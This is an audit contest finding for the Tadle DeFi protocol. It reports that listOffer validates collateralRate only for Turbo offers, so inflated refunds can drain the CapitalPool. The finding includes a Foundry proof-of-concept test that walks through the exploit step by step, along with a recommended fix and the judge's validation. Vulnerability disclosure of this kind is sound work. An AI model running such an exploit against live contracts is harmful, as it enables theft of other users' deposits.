Tadle

Tadle
DeFi
30,000 USDC
View results
Submission Details
Severity: high
Valid

`collateralRate` Manipulation Enables Attackers To Drain The `CapitalPool`

Summary

Due to an oversight in the implementation of listOffer(address,uint256,uint256), an attacker may manipulate the refund process to steal funds from the protocol.

Vulnerability Details

The listOffer(address,uint256,uint256) function accepts a collateralRate argument from the caller and only ever validates that this is equal to the collateralRateof the existing offer for the case where the offerSettleTypeis OfferSettleType.TURBO:

/// @dev change abort offer status when offer settle type is turbo
if (makerInfo.offerSettleType == OfferSettleType.Turbo) {
address originOffer = makerInfo.originOffer;
OfferInfo memory originOfferInfo = offerInfoMap[originOffer];
if (_collateralRate != originOfferInfo.collateralRate) {
revert InvalidCollateralRate();
}
originOfferInfo.abortOfferStatus = AbortOfferStatus.SubOfferListed;
}

This means that the caller may specify a higher collateralRatethan the original offer when the offerSettleTypeis OfferSettleType.PROTECTED, and have this successfully serialized into state.

We should note that when pulling the tokens of a PROTECTEDoffer, these are only pulled at the original collateralRate cached in storage, and not the maliciously manipulated value:

uint256 transferAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate, /// @audit uses_original_collateral_rate
_amount,
true,
Math.Rounding.Ceil
);

Consequently, when the attacker cancels both offers to redeem their refunds, they can receive refunds at a higher collateralization rate than their initial deposit.

This is demonstrated in the proof of concept exploit below.

PreMarkets.t.sol

/// @notice Attackers can drain the `CapitalPool` using
/// @notice `collateralRate` manipulation.
function test_ask_offer_protected_usdc_exploit_collateralization() public {
vm.startPrank(user);
uint256 attackerBalanceBefore = mockUSDCToken.balanceOf(user);
uint256 collateralRate = 12000;
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18 /* amount */,
collateralRate /* collateralRate */,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
/// @audit Here, the attacker specifies a maliciously amplified
/// @audit `collateralRate` for their `Protected` offer to bypass
/// @audit validation checks and artificially inflate the protocol's
/// @audit perceived valuation of the offer:
uint256 maliciousCollateralRate = collateralRate * 2_000;
address stockAddr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 500);
address stock1Addr = GenerateAddress.generateStockAddress(1);
/// @audit use a malicious collateralRate
preMarktes.listOffer(stock1Addr, 0.006 * 1e18, maliciousCollateralRate);
/// @audit compute the offerAddr
address offer1Addr = GenerateAddress.generateOfferAddress(1);
/// @notice Close out both offers to assume fees.
preMarktes.closeOffer(stockAddr, offerAddr);
preMarktes.closeOffer(stock1Addr, offer1Addr);
/// @notice Previously we have raised that the approval implementation
/// @notice between the `CapitalPool` and `TokenManager` is currently
/// @notice broken, so we will manually enable approvals here:
capitalPool.approve(address(mockUSDCToken));
/// @notice Here we'll make the `CapitalPool` liquid to demonstrate
/// @notice the effectiveness of the attacker's exploit. In reality,
/// @notice this increased balance would come from other user's
/// @notice deposits.
deal(address(mockUSDCToken), address(capitalPool), 1000 ether) /* @notice assume_deep_liquidity (i.e. other user balances) */;
/// @notice The attacker withdraws their "owed" funds:
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
/// @audit Here we prove the attacker has successfully stolen funds.
/// @audit In reality, they would repeat this operation for all token
/// @audit types:
uint256 attackerBalanceAfter = mockUSDCToken.balanceOf(user);
assert(attackerBalanceAfter > attackerBalanceBefore);
}

Impact

Manipulated collateralRatecan be exploited to accrue undue refunds at the expense of other protocol users to the point of insolvency.

Tools Used

Manual Review

Recommendations

Unconditionally validate the collateralRateis expected, regardless of the offerSettleType:

address originOffer = makerInfo.originOffer;
OfferInfo memory originOfferInfo = offerInfoMap[originOffer];
if (_collateralRate != originOfferInfo.collateralRate)
revert InvalidCollateralRate();
/// @dev change abort offer status when offer settle type is turbo
if (makerInfo.offerSettleType == OfferSettleType.Turbo) {
originOfferInfo.abortOfferStatus = AbortOfferStatus.SubOfferListed;
}
Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-listOffer-collateralRate-manipulate

Valid high severity, because the collateral rate utilized when creating an offer is stale and retrieved from a previously set collateral rate, it allows possible manipilation of refund amounts using an inflated collateral rate to drain funds from the CapitalPool contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.